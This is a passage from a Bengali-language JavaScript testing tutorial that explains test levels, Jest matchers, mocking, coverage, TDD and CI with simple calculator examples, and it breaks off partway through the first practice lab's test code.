Part 02 — Testing Pyramid & Test Types (Unit, Integration, E2E, Regression) (35.6 – 35.12)
35.6 Testing-এর Levels

JavaScript application-এ সাধারণত কয়েক ধরনের testing দেখা যায়:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Testing

── Unit Testing
── Integration Testing
── End-to-End Testing
── Component Testing
── Regression Testing
35.7 Unit Testing

Unit Test হলো application-এর সবচেয়ে ছোট testable অংশ পরীক্ষা করা। যেমন:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

এখন আমরা শুধু add() function-টি test করব।

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Input  add()  Output
🔹 Example
JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

Test:

JAVASCRIPT SourceJAVASCRIPT
expect(add(2, 3)).toBe(5);

এখানে পুরো application test করা হচ্ছে না। শুধু:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
add()

test করা হচ্ছে।

🔹 Real-Life Example

একটি restaurant-এর kitchen-এ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Rice cooking  আলাদা test
Chicken cooking  আলাদা test
Sauce  আলাদা test

প্রতিটি ছোট অংশ আলাদাভাবে ঠিক আছে কিনা পরীক্ষা করা = Unit Testing-এর মতো।

35.8 Integration Testing

Integration Testing-এ একাধিক component/module একসাথে কাজ করছে কিনা test করা হয়। উদাহরণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Login Function
      
Authentication Service
      
Database

শুধু Login function নয়। পুরো interaction test করা হচ্ছে।

🔹 Example
JAVASCRIPT SourceJAVASCRIPT
loginUser()
    ↓
API
    ↓
Database
    ↓
User Response

এগুলো একসাথে ঠিকভাবে কাজ করছে কিনা পরীক্ষা করা হবে।

35.9 Unit vs Integration
Unit TestingIntegration Testing
ছোট অংশ testএকাধিক অংশ test
সাধারণত isolatedComponents interact করে
দ্রুততুলনামূলক ধীর
Function testAPI + DB ইত্যাদি test
সহজ debuggingDebugging তুলনামূলক কঠিন
35.10 End-to-End Testing

E2E Testing পুরো application-এর user journey পরীক্ষা করে। ধরো একটি shopping website:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Open Website
 
Login
 
Search Product
 
Open Product
 
Add Cart
 
Checkout
 
Payment
 
Order Complete

পুরো flow test করা হচ্ছে। এটাই End-to-End Testing।

35.11 Component Testing

বিশেষ করে React application-এ Component Testing গুরুত্বপূর্ণ। ধরো:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
<Button />

Test করা হচ্ছে:

  • Button render হচ্ছে?
  • Text ঠিক আছে?
  • Click করলে function call হচ্ছে?
  • Disabled হলে কাজ করছে না?
35.12 Regression Testing

ধরো তোমার application আগে ঠিকভাবে কাজ করছিল। তুমি নতুন feature যোগ করলে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
New Feature
     
Old Feature
     
Broken ❌

নতুন change-এর কারণে পুরোনো functionality নষ্ট হয়েছে কিনা check করা হলো Regression Testing

Part 03 — Test Cases, Scenarios, Assertions & Jest Setup (35.13 – 35.18)
35.13 Test Case কী?

একটি নির্দিষ্ট behavior পরীক্ষা করার জন্য যে condition এবং expected result তৈরি করা হয় সেটিই Test Case। উদাহরণ:

🔹 Login Test Case
🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test:
Valid email + valid password

Expected:
Login successful

আরেকটি:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test:
Valid email + wrong password

Expected:
Error message
35.14 Test Scenario vs Test Case
🔹 Test Scenario

High-level requirement।

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test Login functionality
🔹 Test Case

Specific condition।

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Valid email + valid password
Valid email + invalid password
Empty email
Empty password
Invalid email format
35.15 Assertion কী?

Testing-এর সবচেয়ে গুরুত্বপূর্ণ concept-এর একটি হলো Assertion। Assertion হলো:

💡 “আমি যে result আশা করছি, actual result কি সেটার সাথে match করছে?”

উদাহরণ:

JAVASCRIPT SourceJAVASCRIPT
expect(2 + 3).toBe(5);

এখানে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Expected  5
Actual    5

তাই:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
PASS

যদি:

JAVASCRIPT SourceJAVASCRIPT
expect(2 + 3).toBe(6);

তাহলে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Expected  6
Actual    5

FAIL
35.16 Jest কী?

JavaScript testing-এর জন্য বহুল ব্যবহৃত একটি testing framework হলো Jest। Jest দিয়ে আমরা:

  • Unit Testing
  • Integration Testing
  • Mocking
  • Assertions
  • Coverage

ইত্যাদি করতে পারি।

35.17 Jest Install

Project তৈরি:

TERMINAL TEST COMMANDBASH
npm init -y

Jest install:

TERMINAL TEST COMMANDBASH
npm install --save-dev jest
35.18 Simple Jest Test

ধরো:

🔹 math.js
JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

module.exports = { add };

Test file:

🔹 math.test.js
JAVASCRIPT SourceJAVASCRIPT
const { add } = require("./math");

test("2 + 3 should equal 5", () => {
  expect(add(2, 3)).toBe(5);
});

Run:

TERMINAL TEST COMMANDBASH
npx jest

Expected result:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
PASS ./math.test.js
 2 + 3 should equal 5
Part 04 — Core Jest Matchers (toBe, toEqual, toContain, Truthy/Falsy) (35.19 – 35.28)
35.19 test() কী?

Jest-এর:

JAVASCRIPT SourceJAVASCRIPT
test();

একটি test define করে। Syntax:

JAVASCRIPT SourceJAVASCRIPT
test("test description", () => {
  // test code
});

Example:

JAVASCRIPT SourceJAVASCRIPT
test("addition works", () => {
  expect(2 + 2).toBe(4);
});
35.20 expect() কী?

expect() actual value-এর ওপর assertion করার জন্য ব্যবহার করা হয়।

JAVASCRIPT SourceJAVASCRIPT
expect(value);

তারপর matcher:

JAVASCRIPT SourceJAVASCRIPT
.toBe()
.toEqual()
.toContain()
.toBeTruthy()
.toBeFalsy()

ইত্যাদি।

35.21 toBe()

Primitive value comparison-এর জন্য:

JAVASCRIPT SourceJAVASCRIPT
expect(5).toBe(5);
JAVASCRIPT SourceJAVASCRIPT
expect("Hello").toBe("Hello");
35.22 toEqual()

Objects বা Arrays-এর content compare করতে:

JAVASCRIPT SourceJAVASCRIPT
expect({ name: "Ripon" }).toEqual({ name: "Ripon" });

Array:

JAVASCRIPT SourceJAVASCRIPT
expect([1, 2, 3]).toEqual([1, 2, 3]);
🔹 গুরুত্বপূর্ণ
JAVASCRIPT SourceJAVASCRIPT
toBe();

আর

JAVASCRIPT SourceJAVASCRIPT
toEqual();

এক জিনিস নয়।

35.23 Truthy / Falsy Testing
JAVASCRIPT SourceJAVASCRIPT
expect(true).toBeTruthy();
JAVASCRIPT SourceJAVASCRIPT
expect(false).toBeFalsy();

Example:

JAVASCRIPT SourceJAVASCRIPT
function isLoggedIn(user) {
  return Boolean(user);
}

Test:

JAVASCRIPT SourceJAVASCRIPT
expect(isLoggedIn({ name: "Ripon" })).toBeTruthy();
35.24 toContain()

Array বা string-এর মধ্যে কিছু আছে কিনা:

JAVASCRIPT SourceJAVASCRIPT
expect(["HTML", "CSS", "JavaScript"]).toContain("JavaScript");

String:

JAVASCRIPT SourceJAVASCRIPT
expect("Hello World").toContain("World");
35.25 toBeNull()
JAVASCRIPT SourceJAVASCRIPT
expect(null).toBeNull();
35.26 toBeUndefined()
JAVASCRIPT SourceJAVASCRIPT
let value;

expect(value).toBeUndefined();
35.27 toBeDefined()
JAVASCRIPT SourceJAVASCRIPT
const name = "Ripon";

expect(name).toBeDefined();
35.28 Multiple Tests
JAVASCRIPT SourceJAVASCRIPT
function multiply(a, b) {
  return a * b;
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("2 × 3 = 6", () => {
  expect(multiply(2, 3)).toBe(6);
});

test("5 × 4 = 20", () => {
  expect(multiply(5, 4)).toBe(20);
});

test("10 × 0 = 0", () => {
  expect(multiply(10, 0)).toBe(0);
});
Part 05 — Test Suites (describe) & Lifecycle Hooks (Setup & Teardown) (35.29 – 35.34)
35.29 describe()

Related tests group করার জন্য:

JAVASCRIPT SourceJAVASCRIPT
describe("Math Tests", () => {
  test("addition", () => {
    expect(2 + 3).toBe(5);
  });

  test("multiplication", () => {
    expect(2 * 3).toBe(6);
  });
});

Structure:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Math Tests

── addition
── multiplication
35.30 Setup & Teardown

কখনো test-এর আগে বা পরে কিছু কাজ করতে হয়। যেমন:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Connect database

Run test

Disconnect database

Jest-এ:

JAVASCRIPT SourceJAVASCRIPT
beforeEach();
afterEach();
beforeAll();
afterAll();

ব্যবহার করা হয়।

35.31 beforeEach()

প্রতিটি test-এর আগে চলে।

JAVASCRIPT SourceJAVASCRIPT
beforeEach(() => {
  console.log("Before test");
});

Example:

JAVASCRIPT SourceJAVASCRIPT
beforeEach(() => {
  console.log("Preparing...");
});

test("Test 1", () => {
  expect(1 + 1).toBe(2);
});

test("Test 2", () => {
  expect(2 + 2).toBe(4);
});

Output conceptually:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Preparing...
 Test 1

Preparing...
 Test 2
35.32 afterEach()

প্রতিটি test-এর পরে চলে।

JAVASCRIPT SourceJAVASCRIPT
afterEach(() => {
  console.log("Cleaning...");
});

Useful for cleanup।

35.33 beforeAll()

সব test শুরু হওয়ার আগে একবার চলে।

JAVASCRIPT SourceJAVASCRIPT
beforeAll(() => {
  console.log("Setup database");
});
35.34 afterAll()

সব test শেষ হওয়ার পরে একবার চলে।

JAVASCRIPT SourceJAVASCRIPT
afterAll(() => {
  console.log("Close database");
});
Part 06 — Asynchronous Testing: Promises, Async/Await & Errors (35.35 – 35.37)
35.35 Async Testing

JavaScript application-এ API, database ইত্যাদি asynchronous হতে পারে। ধরো:

JAVASCRIPT SourceJAVASCRIPT
async function getUser() {
  return {
    id: 1,
    name: "Ripon",
  };
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("getUser returns user", async () => {
  const user = await getUser();

  expect(user.name).toBe("Ripon");
});
35.36 Promise Testing
JAVASCRIPT SourceJAVASCRIPT
function getData() {
  return Promise.resolve("Hello");
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("returns Hello", async () => {
  await expect(getData()).resolves.toBe("Hello");
});
35.37 Rejected Promise Testing
JAVASCRIPT SourceJAVASCRIPT
function getData() {
  return Promise.reject(new Error("Something went wrong"));
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("rejects with error", async () => {
  await expect(getData()).rejects.toThrow("Something went wrong");
});
Part 07 — Mocking Architecture, Spy Functions & Test Doubles (35.38 – 35.42)
35.38 Mocking কী?

ধরো তোমার function external API call করে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Your Function
      
External API
      
Internet

Test করার সময় আমরা সবসময় real API call করতে চাই না। তখন fake/mock function ব্যবহার করা হয়। এটিই Mocking

35.39 Mock Function

Jest:

JAVASCRIPT SourceJAVASCRIPT
const mockFn = jest.fn();

তারপর:

JAVASCRIPT SourceJAVASCRIPT
mockFn("Hello");

Check:

JAVASCRIPT SourceJAVASCRIPT
expect(mockFn).toHaveBeenCalled();
35.40 Function কতবার call হয়েছে?
JAVASCRIPT SourceJAVASCRIPT
const mockFn = jest.fn();

mockFn();
mockFn();

Test:

JAVASCRIPT SourceJAVASCRIPT
expect(mockFn).toHaveBeenCalledTimes(2);
35.41 Mock Function Arguments
JAVASCRIPT SourceJAVASCRIPT
const mockFn = jest.fn();

mockFn("Ripon", 25);

Test:

JAVASCRIPT SourceJAVASCRIPT
expect(mockFn).toHaveBeenCalledWith("Ripon", 25);
35.42 কেন Mock ব্যবহার করব?

ধরো Payment API:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Your App
   
Payment Gateway
   
Bank

প্রতিটি test-এর সময় real payment করা ভয়ংকর হবে। 😄 তাই:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Real Payment ❌
Mock Payment ✅
Part 08 — Code Coverage Metrics & Testing Library Paradigm (35.43 – 35.47)
35.43 Code Coverage

Code Coverage বলে দেয় তোমার test কতটা code cover করছে। ধরো project-এ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
100 lines code

এর মধ্যে test করেছে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
80 lines

তাহলে roughly:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
80% coverage
35.44 Coverage-এর ধরন

সাধারণভাবে coverage metrics:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Statements
Branches
Functions
Lines
🔹 Statements

কতগুলো statement execute হয়েছে।

🔹 Branches

if/else, ternary ইত্যাদির কতগুলো path test হয়েছে।

🔹 Functions

কতগুলো function test হয়েছে।

🔹 Lines

কতগুলো code line execute হয়েছে।

35.45 Coverage Run

Jest:

TERMINAL TEST COMMANDBASH
npx jest --coverage

Report-এ এমন কিছু দেখা যেতে পারে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Statements   90%
Branches     80%
Functions    100%
Lines        92%
🔹 গুরুত্বপূর্ণ

100% coverage মানেই application bug-free নয়। কারণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Code execute হয়েছে

মানে এই নয় যে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
সব possible behavior correctly tested হয়েছে
35.46 Testing Library

Frontend/React application-এ জনপ্রিয় approach হলো Testing Library। বিশেষ করে:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
React Testing Library

এর মূল ধারণা:

💡 User যেভাবে application ব্যবহার করে, সেভাবে component test করা।

ধরো:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
<button>Login</button>

Test করবে:

🧪 TEST ASSERTION & EXECUTION FLOW
Button আছে?

User click করতে পারে?

Click করলে expected behavior হচ্ছে?
35.47 Implementation না, Behavior Test

ধরো component:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
<button onClick={handleLogin}>Login</button>

Testing-এর focus হওয়া উচিত:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
User clicks Login
        
Expected behavior

শুধু:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
handleLogin function exists

এটা test করাই সবচেয়ে গুরুত্বপূর্ণ নয়।

Part 09 — End-to-End Testing with Playwright & Testing Pyramid (35.48 – 35.50)
35.48 E2E Testing Tools

E2E testing-এর জন্য জনপ্রিয় tools:

  • Playwright
  • Cypress

Example user flow:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Open website

Click Login

Enter email

Enter password

Submit

Dashboard appears

এটা browser automation দিয়ে test করা যায়।

35.49 Playwright Example

Conceptual example:

JAVASCRIPT SourceJAVASCRIPT
import { test, expect } from "@playwright/test";

test("homepage loads", async ({ page }) => {
  await page.goto("https://example.com");

  await expect(page.getByRole("heading")).toBeVisible();
});

এখানে browser:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Open page

Find heading

Check heading visible
35.50 Testing Pyramid

Testing strategy বোঝার জন্য খুব গুরুত্বপূর্ণ concept:

🧪 TESTING PYRAMID & LEVEL DISTRIBUTION
/\
          /  \
         / E2E\
        /------\
       /Integration\
      /--------------\
     /  Unit Tests    \
    /------------------\

সাধারণ ধারণা:

🧪 TESTING PYRAMID & LEVEL DISTRIBUTION
Many Unit Tests
       
Some Integration Tests
       
Fewer E2E Tests

কারণ Unit test সাধারণত দ্রুত এবং focused। E2E test তুলনামূলক বেশি setup/সময় নিতে পারে।

Part 10 — Test-Driven Development (TDD), BDD & Test Strategies (35.51 – 35.59)
35.51 TDD কী?

TDD = Test-Driven Development এখানে আগে test লেখা হয়, তারপর implementation। Process:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Write Test
    
Test Fails ❌
    
Write Code
    
Test Passes ✅
    
Refactor

এটাকে প্রায়ই বলা হয়:

🧪 TEST-DRIVEN DEVELOPMENT (TDD) CYCLE
Red  Green  Refactor
35.52 TDD Example

প্রথমে test:

JAVASCRIPT SourceJAVASCRIPT
test("add should return 5", () => {
  expect(add(2, 3)).toBe(5);
});

এখন add() নেই। তাই:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
FAIL

তারপর code:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

এখন:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
PASS

তারপর code clean/refactor করা যায়।

35.53 BDD কী?

BDD = Behavior-Driven Development এখানে application-এর behavior-এর ওপর বেশি focus করা হয়। উদাহরণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Given user is logged out
When user enters valid credentials
Then dashboard should appear

এটি human-readable behavior description-এর মতো।

35.54 Test Doubles

Testing-এর সময় real dependency-এর পরিবর্তে বিভিন্ন ধরনের substitute ব্যবহার করা হয়। Common types:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Dummy
Stub
Mock
Spy
Fake
🔹 Dummy

শুধু parameter পূরণ করার জন্য।

🔹 Stub

নির্দিষ্ট response দেয়।

🔹 Mock

Interaction verify করতে সাহায্য করে।

🔹 Spy

কোন function কীভাবে call হয়েছে observe করে।

🔹 Fake

Simplified working implementation।

35.55 Spy Example

ধরো:

JAVASCRIPT SourceJAVASCRIPT
const user = {
  login() {
    return true;
  },
};

Spy দিয়ে check করা যায়:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
login()
কতবার call হলো?
কী argument গেল?

Jest-এ সাধারণভাবে:

JAVASCRIPT SourceJAVASCRIPT
const spy = jest.spyOn(user, "login");

user.login();

expect(spy).toHaveBeenCalled();
35.56 Snapshot Testing

Snapshot Testing UI/component-এর rendered output-এর snapshot save করে রাখে। পরবর্তীতে output পরিবর্তিত হলে test সেটা detect করতে পারে। Concept:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Current UI
   
Snapshot
   
Future UI
   
Compare

তবে snapshot blindly accept করা উচিত নয়। কারণ snapshot বড় হয়ে গেলে meaningful review কঠিন হতে পারে।

35.57 Negative Testing

শুধু valid input test করলে হবে না। Invalid input-ও test করতে হবে। ধরো:

JAVASCRIPT SourceJAVASCRIPT
function divide(a, b) {
  if (b === 0) {
    throw new Error("Cannot divide by zero");
  }

  return a / b;
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("division by zero throws error", () => {
  expect(() => divide(10, 0)).toThrow("Cannot divide by zero");
});
35.58 Edge Case Testing

Normal case:

JAVASCRIPT SourceJAVASCRIPT
add(2, 3);

Edge cases:

JAVASCRIPT SourceJAVASCRIPT
add(0, 0);
add(-5, 10);
add(Number.MAX_SAFE_INTEGER, 1);

Real applications-এ edge cases খুব গুরুত্বপূর্ণ।

35.59 Boundary Testing

ধরো age:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
18–60

তাহলে test করা উচিত:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
17 ❌
18 ✅
19 ✅
59 ✅
60 ✅
61 ❌

Boundary-এর কাছাকাছি values test করা খুব useful।

Part 11 — Writing Clean Tests, Independence & Flaky Test Prevention (35.60 – 35.63)
35.60 Test Naming

খারাপ:

JAVASCRIPT SourceJAVASCRIPT
test("test1", ...)

ভালো:

JAVASCRIPT SourceJAVASCRIPT
test("returns false when password is incorrect", ...)

আরও ভালো naming:

JAVASCRIPT SourceJAVASCRIPT
test("login fails when the password is incorrect", ...)

Test name দেখে behavior বোঝা উচিত।

35.61 ভালো Test-এর বৈশিষ্ট্য

একটি ভালো test হওয়া উচিত:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Fast
Independent
Repeatable
Clear
Focused
Reliable

একটি জনপ্রিয় ধারণা:

🔹 FIRST
🧪 TESTING ARCHITECTURE & EXECUTION FLOW
F  Fast
I  Independent
R  Repeatable
S  Self-validating
T  Timely
35.62 Test Independence

একটি test অন্য test-এর ওপর depend করা উচিত নয়। খারাপ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test 1  creates user
Test 2  assumes user exists

Test 1 fail করলে Test 2-ও fail করতে পারে। ভালো:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test 1  own setup
Test 2  own setup
35.63 Flaky Test

যে test কখনো pass করে, কখনো fail করে—তাকে Flaky Test বলা হয়। উদাহরণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Run 1  PASS
Run 2  PASS
Run 3  FAIL
Run 4  PASS

সম্ভাব্য কারণ:

  • Timing issue
  • Race condition
  • Network dependency
  • Shared state
  • Random data
  • External service

Flaky test dangerous কারণ developer test result-এর ওপর trust হারাতে পারে।

Part 12 — Full-Stack Testing, CI/CD Pipeline & Complete Mini Project (35.64 – 35.72)
35.64 Testing API

ধরো তোমার Node.js backend:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
GET /api/users

Expected:

PACKAGE JSON TEST CONFIGJSON
[
  {
    "id": 1,
    "name": "Ripon"
  }
]

Test করা যায়:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Status  200
Response  JSON
User exists  true
Required fields  present

Integration/E2E testing-এ এগুলো করা যায়।

35.65 Frontend + Backend Testing

একটি Full Stack application:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
React
 
API
 
Node/Express
 
Database

Testing:

🧪 TESTING PYRAMID & LEVEL DISTRIBUTION
React Component
      
Component Test

API
      
Integration Test

Database interaction
      
Integration Test

Full user journey
      
E2E Test
35.66 Real Full-Stack Example

ধরো তুমি একটি Login System বানালে।

🔹 Unit Test
🧪 TESTING ARCHITECTURE & EXECUTION FLOW
validateEmail()
validatePassword()
hashPassword()
🔹 Integration Test
🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Login API
 
Database
 
Authentication
🔹 E2E Test
🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Open Login Page
 
Enter credentials
 
Click Login
 
Dashboard

এটাই বাস্তব-world testing strategy-এর একটি example।

35.67 Testing vs Debugging

দুটো একই নয়।

TestingDebugging
Bug আছে কিনা খোঁজেBug-এর কারণ খোঁজে
Expected vs actualProblem কোথায়
Test automated হতে পারেDeveloper investigation করে
আগে থেকেই করা যায়সাধারণত failure-এর পর করা হয়

উদাহরণ:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Test  Login failed ❌
           
Debugging
           
Wrong password comparison
           
Fix
35.68 Testing Workflow

একজন professional developer-এর workflow হতে পারে:

🧪 AUTOMATED TESTING & CI/CD PIPELINE
Write Feature
     
Write Tests
     
Run Tests
     
Failure?
   ↙   ↘
 Yes    No
        
Debug   Continue
 
Fix
 
Run Again
 
Pass
 
Commit
 
CI/CD
35.69 CI/CD-তে Testing

GitHub Actions-এর মতো CI system-এ automatically test চালানো যায়। Flow:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
Developer
   
git push
   
GitHub
   
CI Pipeline
   
npm install
   
npm test
   
PASS ✅ / FAIL

এতে broken code merge হওয়ার আগে ধরা যায়।

35.70 package.json Test Script
PACKAGE JSON TEST CONFIGJSON
{
  "scripts": {
    "test": "jest"
  }
}

তারপর:

TERMINAL TEST COMMANDBASH
npm test

অথবা:

TERMINAL TEST COMMANDBASH
npm run test
35.71 Test File Naming

Common patterns:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
math.test.js
math.spec.js

অথবা:

🧪 TESTING ARCHITECTURE & EXECUTION FLOW
__tests__/math.test.js

Project অনুযায়ী convention পরিবর্তিত হতে পারে।

35.72 একটি Complete Mini Project — সম্পূর্ণ টেস্ট স্যুট
🔹 calculator.js
JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

function subtract(a, b) {
  return a - b;
}

function multiply(a, b) {
  return a * b;
}

function divide(a, b) {
  if (b === 0) {
    throw new Error("Cannot divide by zero");
  }

  return a / b;
}

module.exports = {
  add,
  subtract,
  multiply,
  divide,
};
🔹 calculator.test.js
JAVASCRIPT SourceJAVASCRIPT
const { add, subtract, multiply, divide } = require("./calculator");

describe("Calculator", () => {
  test("adds two numbers", () => {
    expect(add(2, 3)).toBe(5);
  });

  test("subtracts two numbers", () => {
    expect(subtract(5, 3)).toBe(2);
  });

  test("multiplies two numbers", () => {
    expect(multiply(4, 3)).toBe(12);
  });

  test("divides two numbers", () => {
    expect(divide(10, 2)).toBe(5);
  });

  test("throws error when dividing by zero", () => {
    expect(() => divide(10, 0)).toThrow("Cannot divide by zero");
  });
});

Run:

TERMINAL TEST COMMANDBASH
npm test

এখানে আমরা একইসাথে শিখলাম:

🧪 TEST ASSERTION & EXECUTION FLOW
describe()
test()
expect()
toBe()
toThrow()
Part 13 — Must Know Testing Pillars, Quick Cheat Sheet, 6 Practice Labs & Final Mental Map
35.73 🔥 MUST KNOW — জাভাস্ক্রিপ্ট টেস্টিংয়ের ১০টি প্রধান স্তম্ভ

প্রোডাকশন মানের নির্ভরযোগ্য অ্যাপ্লিকেশন তৈরিতে এই ১০টি টেস্ট আর্কিটেকচার নীতি অপরিহার্য:

📌 1. Test Pyramid & Matchers
  • Unit Testing (70%): স্বতন্ত্র পিওর ফাংশন টেস্ট
  • Integration Testing (20%): একাধিক মডিউল ও এপিআই ইন্টারঅ্যাকশন
  • toBe vs toEqual: প্রিমিটিভ ভ্যালু বনাম ডিপ অবজেক্ট তুলনা
  • toThrow: এক্সেপশন ও এরর হ্যান্ডলিং নিখুঁতভাবে যাচাই
📌 2. Async, Mocks & Lifecycle
  • Async/Await Testing: প্রমিজ রেজলভ ও রিজেক্ট হ্যান্ডলিং
  • Setup & Teardown: beforeEach/afterEach দিয়ে স্টেট রিসেট
  • Mock Functions: নেটওয়ার্ক ও ডেটাবেস কল বিচ্ছিন্নকরণ
  • Test Independence: একটি টেস্টের স্টেট যেন অন্যটিকে প্রভাবিত না করে
📌 3. TDD, Coverage & CI/CD
  • TDD Cycle: Red (Fail) → Green (Pass) → Refactor
  • Code Coverage: Statements, Branches, Functions কভারেজ
  • Testing Library: ইমপ্লিমেন্টেশন ডিটেইল নয়, ইউজার আচরণ টেস্ট
  • CI/CD Gate: গিটহাবে পুশ করার পর স্বয়ংক্রিয় টেস্ট রান
35.74 🧠 Quick Cheat Sheet — টেস্টিং সিনট্যাক্স ও ম্যাচার সারসংক্ষেপ
Matcher / HookSyntax ExamplePrimary Use Case
toBeexpect(add(1, 2)).toBe(3)প্রিমিটিভ ভ্যালু (Primitive equality ===) পরীক্ষা
toEqualexpect(user).toEqual({ id: 1 })অবজেক্ট বা অ্যারের গভীর সমতা (Deep equality)
toBeTruthyexpect(isValid).toBeTruthy()ট্রুথি ভ্যালু নিশ্চিতকরণ (Boolean(val) === true)
toBeFalsyexpect(hasError).toBeFalsy()ফলসি ভ্যালু নিশ্চিতকরণ (null, undefined, 0, "" ইত্যাদি)
toContainexpect(fruits).toContain('apple')অ্যারে বা স্ট্রিংয়ে উপাদান বিদ্যমান থাকা যাচাই
toBeNullexpect(res).toBeNull()ভ্যালু ঠিক null কিনা তা পরীক্ষা
toBeDefinedexpect(val).toBeDefined()ভ্যারিয়েবল ডিফাইন করা আছে কিনা (!== undefined)
toThrowexpect(() => fn()).toThrow("Error")ফাংশন কাঙ্ক্ষিত এরর থ্রো করে কিনা যাচাই
describedescribe('Auth Service', () => {})সম্পর্কিত টেস্টগুলোকে একটি সুসংগঠিত ব্লকে গ্রুপ করা
test / ittest('should calculate tax', () => {})একটি স্বতন্ত্র টেস্ট কেস তৈরি করা
beforeEachbeforeEach(() => { resetDB(); })প্রতিটি একক টেস্ট রানের পূর্বে স্টেট রিসেট করা
afterEachafterEach(() => { jest.clearAllMocks(); })প্রতিটি টেস্ট শেষে ক্লিনআপ ও মক ক্লিয়ার করা
beforeAllbeforeAll(async () => { await connect(); })পুরো টেস্ট স্যুটের শুরুতে মাত্র একবার রান
afterAllafterAll(async () => { await close(); })সম্পূর্ণ টেস্ট স্যুট সমাপ্তির পর কানেকশন বন্ধ
jest.fn()const mock = jest.fn()ফেক ফাংশন তৈরি এবং কল কাউন্ট/আর্গুমেন্ট পর্যবেক্ষণ
mockResolvedValuemockFetch.mockResolvedValue({ ok: true })অ্যাসিনক্রোনাস প্রমিজ রিটার্ন সিমুলেশন
npm testnpm test / npm test -- --coverageসম্পূর্ণ টেস্ট স্যুট ও কোড কভারেজ রিপোর্ট তৈরি
Part 13.1 — 6 Hands-On Practice Labs with Complete Production Solutions
Lab #1 [BEGINNER] — Unit Test Suite for add(a, b) Function (5 Test Cases)

সমস্যা ও লক্ষ্য: add(a, b) ফাংশনের জন্য ৫টি বৈচিত্র্যময় ও নির্ভুল ইউনিট টেস্ট কেস লিখুন যা পজিটিভ, নেগেটিভ, ফ্লোটিং পয়েন্ট, জিরো এবং স্ট্রিং টাইপ এরর টেস্ট কভার করে।

SOURCE MODULE / SPECIFICATIONJAVASCRIPT
// src/math.js
export function add(a, b) {
  if (typeof a !== 'number' || typeof b !== 'number') {
    throw new TypeError('Both arguments must be numbers');
  }
  return a + b;
}
TEST IMPLEMENTATION (LAB #1)JAVASCRIPT
// tests/math.test.js
import { describe, test, expect } from '@jest/globals';
import { add } from '../src/math.js';

describe('Math Module: add(a, b)', () => {
  test('Case 1: adds two positive integers correctly', () => {
    expect(add(5, 7)).toBe(12);
  });

  test('Case 2: handles negative numbers properly', () => {
    expect(add(-10, -5)).toBe(-15);
    expect(add(-10, 20)).toBe(10);
  });

  test('Case 3: adds floating point numbers with precision', () => {
    expect(add(0.1, 0.2)).toBeCloseTo(0.3, 5); // ফ্লোটিং পয়েন্ট নির্ভুলতা
  });

  test('Case 4: returns correct value when adding with zero', () => {
    expect(add(42, 0)).toBe(42);
    expect(add(0, 0)).toBe(0);
  });

  test('Case 5: throws TypeError when invalid types are supplied', () => {
    expect(() => add('5', 10)).toThrow(TypeError);
